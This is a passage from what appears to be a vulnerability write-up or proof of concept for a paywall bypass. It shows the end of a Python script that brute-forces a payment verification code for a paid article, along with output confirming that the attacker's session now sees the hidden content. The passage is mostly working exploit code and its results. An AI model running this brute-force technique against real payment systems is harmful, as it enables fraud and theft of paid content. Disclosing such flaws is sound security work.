in ex.map(probe, range(0, 2000)): if res: found = res break print('[attacker] matched verifyCode=%s' % found) anon = httpx.Client(base_url=BASE, timeout=20) print('[anonymous] page contains secret before: %s' % (SECRET in anon.get('/' + slug).text)) print('[attacker] page contains secret now: %s' % (SECRET in att.get('/' + slug).text)) ``` The output is: ``` [victim] paid article id=2631610238296065 slug=paidemail1794451364 payWay=email [attacker] toPay -> payId=2631610238296066 payStatus=0 payWay=email [attacker] matched verifyCode=EM000012-2631610238296066 [anonymous] page contains secret before: False [attacker] page contains secret now: True ```